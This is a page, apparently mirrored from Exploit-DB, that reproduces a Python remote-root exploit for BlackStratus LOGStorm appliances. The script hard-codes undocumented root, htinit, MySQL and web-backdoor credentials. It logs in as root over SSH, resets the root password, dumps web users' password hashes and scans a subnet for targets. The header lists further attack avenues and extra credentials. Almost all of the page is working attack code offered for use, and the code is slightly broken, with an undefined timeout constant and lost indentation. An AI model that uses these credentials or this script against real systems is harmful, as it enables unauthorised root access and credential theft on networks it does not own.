BlackStratus LOGStorm 4.5.1.35/4.5.1.96 – Remote Code Execution

  • 作者: Jeremy Brown
    日期: 2016-12-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40858/
  • #!/usr/bin/python
    # logstorm-root.py
    #
    # BlackStratus LOGStorm Remote Root Exploit
    #
    # Jeremy Brown [jbrown3264/gmail]
    # Dec 2016
    #
    # -Synopsis-
    #
    # "Better Security and Compliance for Any Size Business"
    #
    # BlackStratus LOGStorm has multiple vulnerabilities that allow a remote unauthenticated user, among
    # other things, to assume complete control over the virtual appliance with root privileges. This is
    # possible due to multiple network servers listening for network connections by default, allowing
    # authorization with undocumented credentials supported by appliance's OS, web interface and sql server.
    #
    # -Tested-
    #
    # v4.5.1.35
    # v4.5.1.96
    #
    # -Usage-
    #
    # Dependencies: pip install paramiko MySQL-python
    #
    # There are (5) actions provided in this script: root, reset, sql, web and scan.
    #
    # [root]utilizes bug #1 to ssh login to a given <host> as root and run the 'id' command
    # [reset] utilizes bug #2 to ssh login to a given <host> as privileged htinit user and resets the root password
    # [sql*]utilizes bug #3 to sql login to a given <host> as privileged htr user and retrieve web portal credentials
    # [web] utilizes bug #4 to http login to a given <host> as hardcoded webserveruser (presumably) admin account
    # [scan]scans a given <host>/24 for potentially vulnerable appliances
    #
    # *sql only works remotely before license validation as afterwards sql server gets firewalled, becoming local only.
    #
    # Note: this exploit is not and cannot be weaponized simply because exploits are not weapons.
    #
    # -Fixes-
    #
    # BlackStratus did not coherently respond to product security inquiries, so there's no official fix. But
    # customers may (now) root the appliance themselves to change the passwords, disable root login, firewall
    # network services or remove additional user accounts to mitigate these vulnerabilities.. or choose another
    # product altogether because this appliance, as of today, simply adds too much attack surface to the network.
    #
    # -Bonuses-
    #
    # 1) Another account's (htftp/htftp) shell is set to /bin/false, which affords at least a couple attacks
    # 
    # 1.1) The appliance is vulnerable to CVE-2016-3115, which we can use to read/write to arbitrary files
    # 1.2) We can use the login to do port forwarding and hit local services, such as the Java instance running
    # in debug mode and probably exploitable with jdwp-shellifer.py (also netcat with -e is installed by default!)
    #
    # 2) More sql accounts: htm/htm_pwd and tvs/tvs_pwd
    #
    
    import sys
    import socket
    import time
    from paramiko import ssh_exception
    import paramiko
    import MySQLdb
    import httplib
    import urllib
    
    SSH_BANNER = "_/_/_/_/"
    SSH_PORT = 22
    MYSQL_PORT = 3306
    MYSQL_DB = "htr"
    MYSQL_CMD = "select USER_ID,hex(MD5_PASSWORD) from users;"
    WEB_URL = "/tvs/layout/j_security_check"
    
    ROOT_CREDS = ["root", "3!acK5tratu5"]
    HTINIT_CREDS = ["htinit", "htinit"]
    MYSQL_CREDS =["htr", "htr_pwd"]
    WEB_CREDS =["webserviceuser", "donotChangeOnInstall"]
    
    
    def main():
    if(len(sys.argv) < 2):
    print("Usage: %s <action> <host>" % sys.argv[0])
    print("Eg.%s root 10.1.1.3\n" % sys.argv[0])
    print("Actions: root reset sql web scan")
    return
     
    action = str(sys.argv[1])
    host = str(sys.argv[2])
    
    if("scan" not in action):
    try:
    socket.inet_aton(host)
    except socket.error:
    print("[-] %s doesn't look like a valid ip address" % host)
    return
    
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
    #
    # ssh login as root and execute 'id'
    #
    if(action == "root"):
    try:
    ssh.connect(host, SSH_PORT, ROOT_CREDS[0], ROOT_CREDS[1], timeout=SSH_TIMEOUT)
    except ssh_exception.AuthenticationException:
    print("\n[-] Action failed, could not login with root credentials\n")
    return
    
    print("[+] Success!")
    ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command("id")
    print(ssh_stdout.readline())
    
    return
    
    #
    # ssh login as htinit and reset root password to the default
    #
    elif(action == "reset"):
    print("[~] Resetting password on %s..." % host)
    
    try:
    ssh.connect(host, SSH_PORT, HTINIT_CREDS[0], HTINIT_CREDS[1], timeout=SSH_TIMEOUT)
    except ssh_exception.AuthenticationException:
    print("\n[-] Reset failed, could not login with htinit credentials\n")
    return
    
    ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command("")
    
    ssh_stdin.write("4" + "\n")
    time.sleep(2)
    ssh_stdin.write(ROOT_CREDS[1] + "\n")
    time.sleep(2)
    ssh_stdin.write("^C" + "\n")
    time.sleep(1)
    
    print("[+] Appliance root password should now be reset")
    
    return
    
    #
    # sql login as htr and select user/hash columns from the web users table
    #
    elif(action == "sql"):
    print("[~] Asking %s for it's web users and their password hashes..." % host)
    
    try:
    db = MySQLdb.connect(host=host, port=MYSQL_PORT, user=MYSQL_CREDS[0], passwd=MYSQL_CREDS[1], db=MYSQL_DB, connect_timeout=3)
    except MySQLdb.Error as error:
    print("\n[-] Failed to connect to %s:\n%s\n" % (host, error))
    return
    
    cursor = db.cursor()
    cursor.execute(MYSQL_CMD)
    
    data = cursor.fetchall()
    
    print("[+] Got creds!\n")
    
    for row in data:
    print("USER_ID: %s\nMD5_PASSWORD: %s\n" % (row[0], row[1]))
    
    db.close()
    
    return
    
    #
    # http login as webserviceuser and gain presumably admin privileges
    #
    elif(action == "web"):
    print("[~] Attempting to login as backdoor web user at %s..." % host)
    
    try: 
    client = httplib.HTTPSConnection(host)
    except:
    print("[-] Couldn't establish SSL connection to %s" % host)
    return
    
    params = urllib.urlencode({"j_username" : WEB_CREDS[0], "j_password" : WEB_CREDS[1]})
    headers = {"Host" : host, "Content-Type" : "application/x-www-form-urlencoded", "Content-Length" : "57"}
    
    client.request("POST", WEB_URL, params, headers)
    
    response = client.getresponse()
    
    if(response.status == 408):
    print("[+] Success!")
    else:
    print("[-] Service returned %d %s, which is actually not our criteria for success" % (response.status, response.reason))
    
    return
    
    #
    # check the ssh network banner to identify appliances within range of <host>/24
    #
    elif(action == "scan"):
    count = 0
    print("[~] Scanning %s for LOGStorm appliances..." % sys.argv[2])
    
    for x in range(1,255):
    banner = None
    
    #
    # 10.1.1.1/24 -> 10.1.1.[x]
    #
    host = str(sys.argv[2]).split('/')[0][:-1] + str(x)
    
    try:
    ssh.connect(host, SSH_PORT, "user-that-doesnt-exist", "pass-that-doesnt-work", timeout=2)
    except ssh_exception.NoValidConnectionsError:
    pass
    except socket.timeout:
    pass
    except ssh_exception.AuthenticationException as error:
    banner = ssh._transport.get_banner()
    if banner and SSH_BANNER in banner:
    print("[!] %s\n" % host)
    count+=1
    
    print("[+] Found %d appliance(s)"% count)
    
    return
    
     
    if __name__ == "__main__":
    main()